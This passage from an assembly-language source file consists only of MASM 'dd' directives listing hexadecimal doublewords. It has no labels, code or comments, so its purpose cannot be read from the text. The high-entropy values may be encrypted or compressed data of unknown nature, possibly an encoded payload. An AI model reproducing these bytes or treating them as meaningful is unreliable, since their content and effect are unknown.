0A602AFA1h, 960420F9h, 0CF800AB8h, 0A7A07D2Eh dd 0B64F020Fh, 6880FDA1h, 0D582AF4Bh, 60502FBEh, 0BF804DF9h dd 72FB1A02h, 3C965961h, 0AA270CBCh, 516B45B5h, 1DD888DEh dd 0D7800B29h, 0C007B27Fh, 0B514A112h, 241C0B67h, 0D046D325h dd 505D98AAh, 70BE4EDBh, 0A18D0169h, 2EA92B4Ah, 6213F8CAh dd 3A50EDBDh, 0D4DB56BDh, 550003BBh, 0D56CD88Fh, 5C2F6278h dd 8A022C41h, 518C56FCh, 0D4FE145Ah, 4F83A8F7h, 0A1E843A9h dd 47A7CB03h, 0F1651C46h, 0DE2A8880h, 747BC056h, 0C60B83Ah dd 21D59D29h, 614BD0CDh, 24D37AAFh, 0DCCF2215h, 1CB76080h dd 9C58A56h, 0D4E9615Fh, 2916B158h, 0D8BE8D95h, 0AF097516h dd 0F63A870Ch, 1C458964h, 436B3055h, 2016009Eh, 86A4974h dd 4C4E7151h, 200AAB2h, 5DB7071Dh, 27076783h, 0E72C2AB2h dd 0B8A8BD90h, 5AFA01E3h, 74C281F9h, 50349665h, 580A53F8h dd 88BC933h, 8B051679h, 968C0A3Ch, 0E06E0060h, 0F4819096h dd 1A00D20Bh, 6577F722h, 1F88BB06h, 0FD7E8F4Bh, 35485F0Eh dd 61953142h, 0C7E0114Bh, 41EE1EE8h, 35510D92h, 0CD3E80Ch dd 0B5896504h, 0B41D0E59h, 0D9850680h, 6FFF1323h, 0A2602CB5h dd 2496F01h, 14C9BD83h, 50F94F0Ah, 3224B59Bh, 29131611h dd 0E9F0D18Dh, 35178E1Fh, 0D8D5204Ch, 153B9D2h, 8B04E6ADh dd 0B97CE9C7h, 0F15B0044h, 0E39F1C80h, 4F540093h, 438F46C8h dd 0FB00D3DCh, 0E5DAA88h, 0BE1812h, 45A911E1h, 2FE6FAC4h dd 8CEE6F3Bh, 8D6675Ah, 2721C0DCh, 869AE6E3h, 26A2C900h dd 55E258D5h, 207903BDh, 0AF3E9FD3h, 1135923h, 6F24E6FFh dd 88D91886h, 0E600F822h, 180771ABh, 190DDAAh, 4F639DE9h dd 0DFEC4078h, 8BE446E8h, 8C2BA908h, 31003C15h, 0AB1A990Bh dd 0E0197A35h, 3D086592h, 13D72180h, 0B1427699h, 1638800h dd 0B37BA34h, 1150C75Bh, 1F16E07Dh, 0C300381Eh, 0B47F639Bh dd 27B9A6Bh, 719097ADh, 112029FEh, 3014463Fh, 4911A60Ah dd 0FA03A12Eh, 15C01A20h, 53093028h, 0A1166961h, 0D532E31Dh dd 980A786h, 8BAA0A50h, 7C98CF0Bh, 0FA24DF46h, 4CFD00B3h dd 3CB2AC84h, 0AE546700h, 0D0A7E5FFh, 0B068D96Dh, 8231813h dd 3220FFA1h, 64404DC4h, 2C34A12Bh, 438B5200h, 97AA0850h dd 4B8210A0h, 0EB869E29h, 1021DFh, 4ABE5269h, 81AC32B4h dd 9E13CF00h, 4F3801D6h, 93AF1DC9h, 0F59D41DDh, 0CD2DA173h dd 1BC2F053h, 8D182261h, 1500BCABh, 7940FEC1h, 0DC5F0116h dd 3F4D344h, 1020B0ABh, 0F8B2082Ah, 0D9202240h, 0D4E6FC00h dd 77D05359h, 805B3374h, 2100C508h, 33D4FE96h, 3D6F73h dd 2B511F81h, 0E8B7D53Eh, 11DDDA1Dh, 1B780AD8h, 471C00E3h dd 5AC59186h, 7F188F10h, 0EA302AE1h, 303B7F2Bh, 0CB101BBDh dd 28002EEBh, 3AEFFA96h, 0F8606B11h, 32475E0h, 0B71DC2D4h dd 5AE08B9Bh, 2600AAFCh, 59746A11h, 9A43A3h, 94BBFE9Dh dd 8B5A2CFDh, 0B6CA000h, 34735565h, 91F60049h, 6109A92Ah dd 5D3B1671h, 0A2BB80EBh, 0D378783h, 79A0707Ch, 446F079Fh dd 0D0BA51C2h, 9B3BF062h, 0A3AA3604h, 0C1EE7C60h, 2A820246h dd 3AA7D10h, 0C54FA50Ch, 9B35882Bh, 0FA2800F2h, 0A67CC373h dd 9500FD90h, 5707A142h, 7C080EF7h, 8A9B3084h, 43C10F29h dd 0D68F2609h, 70B60311h, 0A508C110h, 1D99EA30h, 0B077D323h dd 4BD45F30h, 414039h, 26D2CC45h, 78AE807Eh, 892B2C0Ch dd 83FA316Dh, 0ABAC2086h, 682F6Fh, 24B21EC8h, 4F6E06A1h dd 876A98Fh, 0ED213660h, 0F2B206h, 38057AD6h, 5A76AEA6h dd 0F8CD6F0Dh, 0BDE4B18Dh, 98786063h, 0C7B8F0F5h, 0A16EFF31h dd 5D02973h, 118E619Bh, 87898BE3h, 6F1694D0h, 0A315EC03h dd 0CA2100E7h, 70589F3h, 8D00DAF0h, 80D26070h, 603BBDD0h dd 0C0FD684Eh, 0BF83CDFCh, 1876B2B3h, 49889B71h, 0C40FB917h dd 80909374h, 1BF00D39h, 0B17C1486h, 82008CC5h, 0E145B27Bh dd 0BDEE736Fh, 6063C330h, 96B341h, 0B57D131Ch, 0A7E6B262h dd 0BF9A0801h, 0E85244A9h, 7A14D0h, 81EBC1C5h, 0B670D51Eh dd 0F9096666h, 0D8A50321h, 5E5890EBh, 0F42723F8h, 243A9329h dd 0E118F171h, 0AA2B1D00h, 0D716BA0Ch, 6A68007Bh, 900FAFD9h dd 9E73E714h, 0EDC2E91Eh, 997A1781h, 60CC448Eh, 48EC3F69h dd 6A335060h, 707A745Eh, 96891A00h, 7D17AD07h, 4CCC0338h dd 0C0E52C9h, 0A0A92002h, 9EC4B545h, 34592320h, 0BE7A3302h dd 143F0075h, 94603D87h, 4989E5C8h, 1EB20109h, 16E996B8h dd 83089850h, 41D221h, 0A5044309h, 770A52C1h, 0D41C48C0h dd 3AC7E5EFh, 8860493Ch, 4254AF5Ah, 0F5B93307h, 0F4B7FB10h dd 215E46h, 0CF54B788h, 0CD5FC43Fh, 29191100h, 4161D46Dh dd 294D603Ch, 4EACFA49h, 0A189503h, 0E8DDAF0Fh, 7BCEEEh dd 96C79DCCh, 7DB5228Bh, 361F950Eh, 60B098EBh, 0A0D5281Ah dd 3FAB0CC0h, 0E528810Eh, 0AA609879h, 5E5C4D61h, 0F861543Dh dd 0A4C2F8E0h, 54B23B64h, 88813391h, 0BAF78350h, 0D8D8E154h dd 0F60F941Eh, 8A891CB1h, 3C01F4FDh, 4814F0E5h, 8C462C20h dd 9B12A890h, 2C62251Eh, 0C3AB20FCh, 321DD4EBh, 4F000155h dd 6ACF8021h, 7EE92A2Bh, 29946E0h, 1EB00943h, 118D3148h dd 0AD305BD4h, 22ED0081h, 0A90B5D3Dh, 0C400A8FDh, 0D4120FC0h dd 0D9BE694Ch, 18846031h, 0B309084Eh, 85C4A01Eh, 946D341h dd 0E96CF126h, 4D23D08Bh, 28C46A2Ah, 42029846h, 401EAF09h dd 0D7108F31h, 0F207095Ah, 6094B5F6h, 66D45D50h, 48101421h dd 0D529E4E7h, 7140A9DCh, 0A81850h, 0A466EEEh, 0C5295ABEh dd 6CB87A60h, 149885DEh, 30E5E991h, 0AD09D923h, 58A80D54h dd 20463012h, 2D54B5BAh dd 978DFA12h, 0EA6A6806h, 0EF330ED9h, 9585DB89h, 0F37183E2h dd 4FA2022h, 0AAC70BC4h, 0B458809Ah, 484020BEh, 0BC7A0DB2h dd 0E0282BB1h, 282C9D74h, 0C90EACC8h, 8F62C95h, 5721C006h dd 0B1802885h, 41605400h, 96E679E9h, 0E32B0156h, 0A3F9DC7h dd 1A69809Bh, 0AA52FC91h, 0C4F0C817h, 4354B0C0h, 0A8B15333h dd 54B88980h, 0BB3E07B2h, 0EF8686C5h, 8905BEh, 1025EB09h dd 1259A6FEh, 1482A500h, 0D56E3B31h, 7BFD04C9h, 0C77FF252h dd 0F308A328h, 0A2F9AF8h, 0E53BC8A1h, 10502273h, 0E39F2A82h dd 0AE094D01h, 8218581Eh, 145D688h, 9D7CEA09h, 8C972E37h dd 21983EF8h, 82D600AAh, 0B27FB0A7h, 0DC007791h, 0EA46CE08h dd 1E166FBh, 97E7BFB6h, 24AE371Fh, 92603DD4h, 55D55141h dd 4C3A4C22h, 0B450FE22h, 2E2A78F4h, 69F0F832h, 608F9D24h dd 9FE7B509h, 8247113Ch, 443E1305h, 0F2F000C0h, 0F4D694DCh dd 0FAF67731h, 43CE2C00h, 17584C6h, 0FCCB30BFh, 0C971A290h dd 0BF63C8C8h, 50454D74h, 82EBCE80h, 448CDD1Eh, 0C538A6F0h dd 0D3601EBh, 5FAEBC7Dh, 76F492E1h, 29E4A017h, 3D4824ACh dd 33C438A4h, 504A722Ch, 0ECA080A9h, 14DE6A11h, 0BF0A73ECh dd 0A8E69D3Dh, 0B460C044h, 332C4F54h, 0D0734891h, 1154BCh dd 616C1EFEh, 320B847Dh, 8C3FFA09h, 0AE9C21EEh, 94262FC1h dd 7B54D400h, 98357D12h, 6A62EF0Bh, 27440569h, 1AE89441h dd 4460426Dh, 88A25494h, 10408AF7h, 0EC81BB92h, 8C85804Ch dd 0B4094F04h, 8A62A81Eh, 947D020h, 2384004Bh, 0C2B42D6Eh dd 31068F7Ch, 0C4ECE294h, 66374490h, 0FFB25600h, 0CF7D2DAFh dd 549148C6h, 0CD107C49h, 0A42EA4EAh, 9F034523h, 12F2C260h dd 831EB80h, 68B1CF34h, 48D280DBh, 50A8E000h, 87FE8071h dd 46082E4h, 3876454Eh, 383DCF24h, 4360D440h, 117961EFh dd 899A664Dh, 0AE1CBE39h, 0EC1BA350h, 0F846055Ch, 3FF43DFCh dd 432380h, 6CE7D188h, 3E330960h, 0F83C7184h, 1FE039ABh dd 4790A6FBh, 0CECC3493h, 0B11A4140h, 1F7E858Ch, 97AEC22h dd 7DE272C1h, 3DD99801h, 3E1982B4h, 40176392h, 4101EF5h dd 8502E696h, 99348046h, 2FFA203Fh, 1A62B509h, 9C2E0FBEh dd 33BAA8C0h, 306A49A7h, 0FC580896h, 3E003ADFh, 35B56597h dd 775AB51h, 64A1DEE9h, 0EE221162h, 60CF0014h, 58C0803Bh dd 0EA53AB02h, 0E082F0A4h, 829351B8h, 18BB5461h, 0CB28249Ch dd 0C45426CFh, 84564003h, 6F128h, 0E3E197B0h, 221C720Fh dd 94254126h, 0C0E89C14h, 8B2799AEh, 905C90D8h, 247465Ch dd 1E9CEBC8h, 10ED312Dh, 0EBC0ACh, 0E4116F78h, 0D51A1E1Bh dd 0ECB8AE62h, 0C6FC9948h, 5405AE18h, 0F4A1334Dh, 0BB00808Bh dd 0CA3E54B6h, 0F00F29Eh, 36A8BA97h, 567B599h, 0E9AE9D48h dd 7B10C83Ch, 2ABA2403h, 99B4200Fh, 0EEE41D19h, 30F07A27h dd 41BA7274h, 9349604Dh, 911E0020h, 17AFC3DBh, 0A169F890h dd 8318B6B4h, 9DCE280Bh, 89C8Eh, 0D3288B55h, 50542675h dd 0F0DCC501h, 0FF0EE914h, 9A7A5880h, 6E3FAB9Eh, 25809894h dd 1CB88A0Dh, 0E82125D4h, 121EB003h, 990047AAh, 3FB760DFh dd 4401B528h, 6A688242h, 0E87C358Dh, 0D914FCE6h, 0E020225Bh dd 862B48C1h, 0B7FAC0B0h, 51FCC08Ah, 3D57151Eh, 6900889Ch dd 77B2168Ah, 0C403938Fh, 3EE15C94h, 0C121059Eh, 0C035CFFCh dd 0B9956032h, 0B69B4301h, 0E56B811Ch, 119DF089h, 18C36069h dd 4E540BB3h, 0C01C9933h, 5407BBECh, 6E8BB3D7h, 6F401917h dd 4C864C22h, 5B802CB1h, 7045A85Dh, 0F618C103h, 0D8BA3CB6h dd 706A7B4Fh, 0CC090CAh, 0B293D716h, 0BC7F50E9h, 80FD2210h dd 1F1C1A0Fh, 84A0538Fh, 13316FBh, 0A0E9AA26h, 71131107h dd 1FC6E04Fh, 8BA215h, 16FACF1Ch, 0BCA6FCC5h, 0DD00FBFAh dd 31B69064h, 2AA4C4Ah, 89E6E96Dh, 8481C8B7h, 54963DFBh dd 4C00C29Ch, 0ED33FA21h, 92105BF9h, 8D0036BFh, 41670FBEh dd 0A84253h, 3B997D2Fh, 0B20CF0F8h, 14D3B700h, 2932FEE4h dd 0DA3100C3h, 843F4494h, 4100FB6Bh, 0B327B285h, 2CB48Dh dd 0D5C6B1ADh, 0F008C1BAh, 4CD07333h, 0CB19C116h, 0F790FD0h dd 0F71B10D7h, 0D925BE20h, 560C9D8Dh, 18704A89h, 74AA076Fh dd 0C310A293h, 68C26B28h, 0B2FD407Dh, 67EA3081h, 4C19F028h dd 71619D60h, 790E177h, 4446FD7Fh, 56A1B179h, 7C29C0F7h dd 34FA7D03h, 3B0D4DCEh, 2B32F830h, 93106628h, 23961F4Ch dd 0A4A88129h, 81E0189Ah, 0F538CA78h, 0D1A128AAh, 0C33E8C1Ch dd 0A8008119h, 0C8A9AA6Eh, 0C8B110A5h, 5640E798h, 0C312B769h dd 0C4D509C0h, 0A25C2142h, 250720D6h, 0C00A565h, 228BBF4Ch dd 6038C21Eh, 56F0214Bh, 0E578788Eh, 0A779C60Fh, 0F97F2228h dd 60E0F7DFh, 0B1C32B3Fh, 806E26C2h, 1CE04E41h, 3AB21125h dd 10A37306h, 3F31511Fh, 531E3132h, 0F8579DD8h, 1D9100F5h dd 0BA28A57Fh, 4900A8F3h, 0D6E1B08Eh, 0CFB279C5h, 0F6006179h dd 184F055Eh, 0A0F43628h, 0A138122h, 0C53C926Fh, 9A90198h dd 304970F9h, 6703D622h, 3111E3F6h, 0CCD0E830h, 60BFB0ADh dd 89447903h, 24A1A78Ah, 2F2A111Dh, 58CCDA60h, 0C07BD68Bh dd 1917D7C1h, 8900549Dh, 4C7DFF04h, 1EED53Ch, 58495B8Bh dd 401FB779h, 0F2D173D0h, 4A38D460h, 0C2054769h, 0FB36C818h dd 0D18CAFh, 2E43508Dh, 7D17468h, 5DA4D57h, 0CD15305Ah dd 0BB79F61Ch, 0D994F400h, 695861A5h, 50766017h, 5DB49F3Bh dd 75F48F50h, 73A3B30Eh, 0B21902E4h, 0EF7048F4h, 0C82B546Ch dd 0CD5C187Fh, 6EA33188h, 8B290B18h, 8BF54548h, 0D873ABE0h dd 9619E607h, 5F476B7Dh, 0C0390960h, 5E2800B0h, 9C572E41h dd 0ACA1F56Ah, 78D18CE2h, 7607911h, 35AC9E62h, 0FFFE7085h dd 941F456Bh, 440461C7h, 5091F875h, 0F8422B40h, 0B24EE0A9h dd 4A70005Ah, 67290CECh, 11741BA2h, 0AAE1CA00h, 51D3AF71h dd 0FC960C32h, 121C7F66h, 1E4B7226h, 33007B1Dh, 0A249E950h dd 9F36038Ch, 0EFFDE4FFh, 21450830h, 0A2413Fh, 0E83C8B6Eh dd 182B3025h, 5A29DF00h, 75205DBDh, 7CC806D0h, 59B91F3Ch dd 0AFDED100h, 0B8466BC0h, 0D6FF030Ch, 69DF9E65h, 90138BA3h dd 0B619E64Bh, 20E17369h, 8464C48h, 0F73693A2h, 7E3E70h dd 0F13B4DA2h, 0AEDB6410h, 0C1E25200h, 86092276h, 3628C02Eh dd 0C343540Ah, 69D7A2A0h, 80C75130h, 0F22349h, 0E3AED364h dd 500D4F7Ch, 0E5930F1Dh, 9D4BBA3Fh, 1840889Ah, 0B02F9CEEh dd 609D749Eh, 82D1218Eh, 1B01DE88h, 143062DBh, 0E88CE897h dd 7AB87E6Bh, 4E44B8A7h, 0B1447360h, 803BE639h, 2C6DB011h dd 6009CE97h, 52AF297Dh, 0C67F48E1h, 0A0BCF328h, 4C02CE46h dd 0E73685A2h, 3C40DC33h, 1305A244h, 626AC300h, 0F26F60FEh dd 31151DFBh, 8867D4D7h, 86000B23h, 8E184588h, 13ED869Dh dd 0CB88E025h, 0DF0C0014h, 5E2B5F76h, 5376C4ACh, 0A2E8AE09h dd 69140224h, 49F60048h, 596FBB42h, 0AB00040h, 6E9D470h dd 0D19F4F94h, 5460083Ch, 70722521h, 32430A16h, 5E4ED0Ah dd 3A69F0B0h, 7702380h, 0F05C87CEh, 6C02131Ch, 3814BA48h dd 3C169EB3h, 544921CAh, 6807E11h, 74E9C870h, 9158448Ch dd 11700E00h, 0DEA06E3Eh, 26C919E9h, 0F4B8B0C5h, 8DEEFE50h dd 0F9C1451Eh, 3D395158h, 0F6A30090h, 34D11577h, 706FE88h dd 358128E2h, 0BD4905B8h dd 0C0516224h, 9E7541Ch, 9308CA18h, 7FAED9D9h, 858B0EAFh dd 12C363C0h, 19C9E991h, 0DC7C2593h, 320FBDDFh, 0B2EDD5EAh dd 26FEE400h, 9089163h, 0E465E6B8h, 1823CC19h, 92A20843h dd 62C4EF36h, 0A25B0940h, 0D3004A27h, 0CDEA058Bh, 6E5ED764h dd 0EEE069FCh, 6B3B4452h, 0E92EA8A4h, 0A032F431h, 20E0E06Ch dd 0D8D048C5h, 0F21D10h, 0AA2B74BAh, 0FDD9E6Ch, 7B2CEFF9h dd 0DF2EA381h, 65F2CCCAh, 0B8BF1700h, 0F07C405Dh, 0DE7A1C09h dd 0B0E0079Eh, 0E276105Eh, 5118D7A1h, 0BA40356Dh, 928B3064h dd 0B0F4B758h, 385FB801h, 722A6ACFh, 44F22C22h, 525730h dd 0A72EF217h, 0B704BCAFh, 949291E6h, 0F1CDC01Dh, 708FA0A6h dd 38475BBh, 627A52D1h, 37D7AFCDh, 60C0DFD5h, 173D442h dd 0DA68ECF1h, 0A861DDE6h, 0B913AC71h, 0B50C8764h, 3876495Bh dd 0F0D084h, 0ABEFC4B5h, 75B685C1h, 0FB1A7E3Ah, 0A56EFE0Ch dd 1B0308Bh, 7419AE04h, 0EF270183h, 1438A804h, 68C07A13h dd 24AAA086h, 2905768h, 3881BBB6h, 4A9C4848h, 7E15E00h dd 0DDA43921h, 5F37277Fh, 3100775Ch, 0A28683AEh, 44DF4882h dd 60C65910h, 9CE59518h, 27D0008Eh, 0BA2AB064h, 69480CA6h dd 0C46161C0h, 21DC7E3Ah, 2A80FB8h, 0EA609472h, 18667013h dd 0DF6C561Eh, 7DEBA830h, 0B961F130h, 153834h, 0FB066E2Fh dd 0E26B3395h, 58368030h, 62D314B8h, 4D09289Ah, 2E12A8A0h dd 0A30076CCh, 1635E493h, 765B6B2h, 0C6545C27h, 0A9400E91h dd 94CD71DDh, 6E3BF900h, 0B0C98118h, 78573EEFh, 3E43D42Ch dd 86856B00h, 0DD10BA1h, 20FD681Dh, 31F5017Fh, 0C0F4435Dh dd 606CCE4h, 0D4EC33CAh, 0F56938A3h, 83A10E18h, 3F84E0Ah dd 377A9511h, 1CD104CBh, 985EE572h, 0B7218F08h, 4C370EB2h dd 56C0921Bh, 0FBD6FA9Bh, 7B3FED00h, 512EF5ACh, 72A8C747h dd 211E909Dh, 8E1BFC6Eh, 0C187FC5h, 0F7C85AA0h, 4012C0A8h dd 1E003EDDh, 0A01C9F2Ah, 4808CC31h, 500B921h, 0CF49F83Eh dd 30C35894h, 0C5918141h, 0CDF2AAF7h, 1C167C00h, 8E9550B8h dd 9B470054h, 3B3278B5h, 306094FCh, 4FF218F8h, 4DB800A5h dd 0B09E5C5Fh, 900BB9Ah, 480655AFh, 26885A99h, 0A71686h dd 0D3D9B99Eh, 5001E77Dh, 446AB053h, 0EBD4CA92h, 28A500DAh dd 0D5B18DCFh, 0F8007A8Ah, 4A8C6EA7h, 86374Fh, 0E29D1B7Ch dd 0AAC0975Bh, 22702F00h, 0F855397Bh, 8FB000A3h, 42036314h dd 1F00A4B9h, 77731E8Bh, 0EC57D7h, 9690F266h, 40C67554h dd 0AFD28300h, 393336EEh, 0ECEB07FBh, 0AF45023Ch, 1F6A2683h dd 0ACE08BC3h, 0B8F8D360h, 6972B71Ch, 16CC007Eh, 4F361E33h dd 381E8C1h, 412937A8h, 0DED06960h, 0CD00AC4Bh, 0A6ED3EA9h dd 18AA030Eh, 407926B7h, 38CBBE98h, 1DB9038Ch, 0A68BC081h dd 32661E2Fh, 287B58A7h, 2A18B9B2h, 0E1319B96h, 17FEE2Bh dd 3A342C16h, 0D0370401h, 20C1B9B7h, 9C960EAAh, 33B5ED4h dd 20BD62B5h, 0EAA0E468h, 4303B403h, 1819F78h, 0C179390Bh dd 0BCF2F600h, 555DA5B3h, 8AD9E33h, 0DD790083h, 3C0E8468h dd 7200A497h, 0C038EAD3h, 573A61h, 0D9E46F11h, 0E8D8950Fh dd 26B4EB00h, 3C749782h, 6DE00A3h, 0BDF227Ah, 5A38A4E5h dd 9DF1B996h, 63C043BDh, 9D93B11Eh, 0B7DB007Ch, 0FF1D2907h dd 0D007502h, 5A3B2E7Ah, 0E9AE23h, 0FD4B82BDh, 2668C8B1h dd 0E03D8B00h, 18A8B914h, 0C3E50008h, 197EED94h, 9B72CB61h dd 3A5B9500h, 4401B554h, 3EC500E7h, 0E581B3B1h, 0D698531Ah dd 0DF94F800h, 17830996h, 0DA600DEh, 29729316h, 3E0FD2FCh dd 92F80A8h, 86850F9Ah, 201726h, 0ABD163E8h, 0BAEBB8E7h dd 7F39CC1Eh, 6059180Fh, 19160972h, 814D038Ah, 0AEE99DF4h dd 0A87A7202h, 609CC470h, 61174C2h, 773F93D8h, 90E58F3h dd 0E0B220F6h, 0D1227AEh, 84F6601h, 0C10021BBh, 0E644B528h dd 778D67BAh, 0AA9400FDh, 1312631Bh, 0C01FCE17h, 764687BCh dd 3338CDEDh, 0E041D102h, 0A36D5E88h, 0FF118500h, 0B58D915Bh dd 214A0183h, 0C7663EFCh, 3C845015h, 6150ECAAh, 8B41782Ch dd 1459E0B2h, 3BBD2820h, 18802DDh, 4B63BF5Eh, 60D37084h dd 10E7B2FCh, 0C86347ADh, 5592BDh, 0FC451161h, 0EA002004h dd 7C9CB87Ah, 199F5197h, 597D1E3Fh, 8F91804h, 7FADE0B2h dd 544E24C4h, 9E21B5A0h, 0FC1F779Ch, 384D9617h, 0D4E8D027h dd 0B2F303CAh, 0C95DE77Eh, 84C14CE8h, 994B0C00h, 610FCB5Ch dd 2E2A1F92h, 1D25C0ADh, 0A422D211h, 0D883000h, 0F65EE1C7h dd 3C1701D1h, 842D9A19h, 0A941F072h, 69E89907h, 28C20DEDh dd 980CA2AEh, 0C9211ADh, 21A34278h, 83B08496h, 0CA25FE2h dd 0A1A4C371h, 4C10CC30h, 82030B76h, 83582954h, 0F5117EE0h dd 233A4BE0h, 0BA21E022h, 647D9381h, 43B15037h, 606FE27Fh dd 848B3820h, 207D3F23h, 9E3C0678h, 0CCF3C8Ch, 700499F3h dd 0AACA401Ch, 74283D78h, 0DA780869h, 71617130h, 0AD06F2h dd 654877BDh, 76C966F1h, 1B79FF60h, 0C68F25A3h, 0B8AAAFE0h dd 0D5017CF8h, 0D3A006EBh, 9987F953h, 1D7530CBh, 4B5E259h dd 626E54D8h, 2CDF104Ch, 76C1A540h, 728AF3Eh, 0F0D36A7Ch dd 3555F940h, 65ED0662h, 29710C22h, 0B11AB42h, 0B3691147h dd 21080211h, 4C620887h, 0D284FD90h, 0DB83447Dh, 447F4A44h dd 0F14E6671h, 0C3DF10D1h, 5CF80D00h, 0CE6B9512h, 7321BA01h dd 0CBAE44DEh, 3EF2D4h, 631049AAh, 7F5AD7A0h, 354D0B01h dd 50A19D80h, 0F206F4h, 0FCDAA727h, 1C34705Bh, 94E16E00h dd 5ECDD07Ah, 9E2600FAh, 0D57733FDh, 0E200166Dh, 7E9291E8h dd 2FF1D9h, 67C43275h, 0CF25EEDEh, 0A907B202h, 5DA0D647h dd 0D031BAE1h, 0E0007E2Eh, 7BBE9A7Ch, 35C3AA6h, 0C86EC2E2h dd 0A8C88092h, 0EE00D3F5h, 0BB6FA7Fh, 6E46Ch, 0D5F64E5Fh dd 4CCF8710h, 56CAEC04h, 0E0C0EFE3h, 0AC5F30h, 4E7AC663h dd 0CE67BBFCh, 0EA3A7100h, 0A0469F9Bh, 0DD110155h, 2A78DAEDh dd 2444E1D7h, 177FEA84h, 1F8E790Fh, 3F6961ACh, 0BB21BBD7h dd 3E9D9CE0h, 3100831Ah, 0C86297E0h, 0A93D7A90h, 9860BFF5h dd 878F0C7h, 6112F435h, 0E0AD6077h, 0C92B000Ch, 63D00E9h dd 18A3E38Ch, 650007DCh, 72A83CE1h, 3F1A0h, 0FA488986h dd 5D29F84Bh, 532BA201h, 0C4D2C5FBh, 10604D8h, 0DACCDB4Dh dd 0CE43A9AFh, 0A2280BE0h, 3538B03h, 0E79BC864h, 1DBC94D0h dd 0A1103A5Fh, 4C248481h, 6020872Fh, 7B03F4CCh, 2668170h dd 0A4DD0A1h, 0FB631D8Ch, 6F8F4347h, 0B1C3BCFCh, 6B215ED8h dd 8B0079F0h, 0ACD06DEAh, 0BDF6109h, 9599A8D1h, 0EE829180h dd 8A00BBDBh, 0B81C6B80h, 0B874FD69h, 6F24016Ch, 9533E84Ch dd 7513D436h, 0CC5A51Eh, 0F18049DDh, 0E80457EFh, 595F00A4h dd 312F36EAh, 4F007E72h, 35E968B1h, 151D41Ch, 0BAB391Fh dd 3052E84Bh, 4A009458h, 0F6ECB4C0h, 0B7BF342h, 0AE82EB11h dd 86556600h, 0E4008804h, 0D3581DAAh, 0D4D8C1h, 6A4C1595h dd 0ED256640h, 87E01800h, 0E7C68DF3h, 796F001Bh, 0D8A5E507h dd 0B3033FB5h, 67A8CC1Fh, 0E481802Ah, 91160036h, 38BDCD10h dd 1E002871h, 5450BFDCh, 9095FB3Ah, 9A5A008Ch, 0D01C7F68h dd 0C1006F5Ch, 15F40BFh, 0B5CFB1F3h, 33388058h, 128D007Fh dd 9ACCFDDCh, 106348A9h, 0B521097Eh, 0F0A16C27h, 0CC25209Dh dd 5F3C5E98h, 80E8BF0Ch dd 5C22139Fh, 0EBFA07Ch, 366DD609h, 0FD00DE4Bh, 0B8BE688Ch dd 47C6F100h, 6B541887h, 62F900E5h, 2D260D9Ch, 923A5BC0h dd 90C987D4h, 0F040A77Ch, 902EDEEAh, 51960078h, 76A6E108h dd 0FA07BFD7h, 0ED298DACh, 0E6B77E80h, 0EF82507Ah, 0D4E70043h dd 5425A655h, 863F070Bh, 418882CAh, 801C570Fh, 0E6FB1F8h dd 9D5B1DBCh, 8B3F8074h, 72C590BFh, 1F4CDC00h, 91B60EE2h dd 0A4EA85h, 0E848ED07h, 449A173Dh, 94317400h, 1005978Fh dd 0DB87283Ah, 7AAD0090h, 57DA4737h, 2100C2E1h, 0F06B71D2h dd 0FEFAC49Bh, 3A400ADh, 2BBA776Eh, 7803441Fh, 0EF95B1AAh dd 45E6A815h, 60BE00FEh, 800A7917h, 5509E9F7h, 489DE7h dd 2B4968CCh, 24970099h, 590A886Dh, 0D9000644h, 7094E225h dd 0B286C7h, 7EDE79EDh, 9354078Fh, 31812C14h, 3AD91FE0h dd 398E7500h, 9703F51h, 800C5B77h, 0D7ABD801h, 0F086C92Dh dd 5C019F5Fh, 59414718h, 68F89376h, 0F728C09Bh, 0DA1E6B90h dd 0CCA46D02h, 604F2E2Dh, 0EEBBB498h, 88B14CC1h, 738A6E3Fh dd 0CC96F7h, 11A22ADAh, 3E0CEE9Eh, 18A9CF9Ch, 5CF2E4h dd 0D91F6135h, 0C20A07A0h, 96C5F118h, 563649h, 31C83A33h dd 2D404550h, 82FFD20Eh, 69AE0DCh, 0B29C92D8h, 14BD09A4h dd 80807417h, 0C9280354h, 55B88E60h, 75588C31h, 0A4920025h dd 4BF50BC2h, 51F4E21h, 0E653F7FBh, 0E306B020h, 0E583963h dd 0C07F4C00h, 0C2CC8B39h, 411E100h, 4B3FE7F0h, 0C8826040h dd 18208EA7h, 0C75F2100h, 56E0619Dh, 0FF52000Ah, 0B2EB855Ch dd 8001CD71h, 0F287F0A0h, 69D8E0B5h, 81360221h, 0EC9DFB0Fh dd 0E8F08468h, 49B03F00h, 0E23550D1h, 0F6C0009Fh, 5AA17859h dd 0EB024D25h, 5841A9DAh, 65EFE04Fh, 0DEAF00A6h, 0E13A2DABh dd 96007D21h, 0C3645F7Ch, 0E4BE1960h, 8844003Dh, 48A02612h dd 0CC984CEAh, 7B6F333Dh, 2861DF01h, 0C523CC4h, 3F4BDED0h dd 0E1804071h, 8A5989FFh, 2E0E5ABBh, 0A0C54E54h, 472DBF2Fh dd 68F303A9h, 0B607266Dh, 0F9A729A9h, 50DDCE6h, 17334800h dd 0EAE8B1C2h, 82EF002Ch, 88DE066Bh, 3C4C6A77h, 325100F8h dd 1509CE22h, 0B4F4FD10h, 49010370h, 0F772A120h, 336F1DE8h dd 93167B00h, 0BBEA74B3h, 0A430013h, 0B257A295h, 0F400A71Eh dd 3787FE5Ch, 5FB6E5h, 0BE926AA4h, 0A76C9BBh, 4C076090h dd 2F744775h, 6BA9671h, 5389E4h, 913E883h, 54F35CE0h, 9B9C1F04h dd 33C0DAC7h, 1A7B4Dh, 2885A9EFh, 0B8CE9396h, 5B0AFE00h dd 0CA583157h, 388EFA8Fh, 5D007D98h, 80DBAFF5h, 0F616D9DFh dd 2000A348h, 0D4E16634h, 6296000Ch, 0F1CB9BFDh, 8A00CEB0h dd 3923751Ah, 24CA85A8h, 28617Dh, 0B576F438h, 92000BACh dd 6E8D3F86h, 0B87E707h, 0EC76612h, 7F672001h, 0E0D83547h dd 0E80F9349h, 0E4017EACh, 58C0C14Eh, 0AF42E5h, 6FF0C2Ah dd 0A94A8BBAh, 0A61AC901h, 25C3441Dh, 58DC3921h, 0FED5E435h dd 37F65Fh, 0B0A764DDh, 6010BD6Eh, 0D78F4816h, 58400812h dd 0B31A15CFh, 728A3C2Bh, 0C8AB9000h, 0F98DFA0Ah, 0E4B67D2Eh dd 6F149580h, 2618D1FEh, 7C82A4h, 0C0ABC57Bh, 0B57E45E7h dd 4023BBA0h, 4CECFD98h, 61584B90h, 0CB0E00E7h, 0B6BD8EFCh dd 78B27475h, 1E6000Ah, 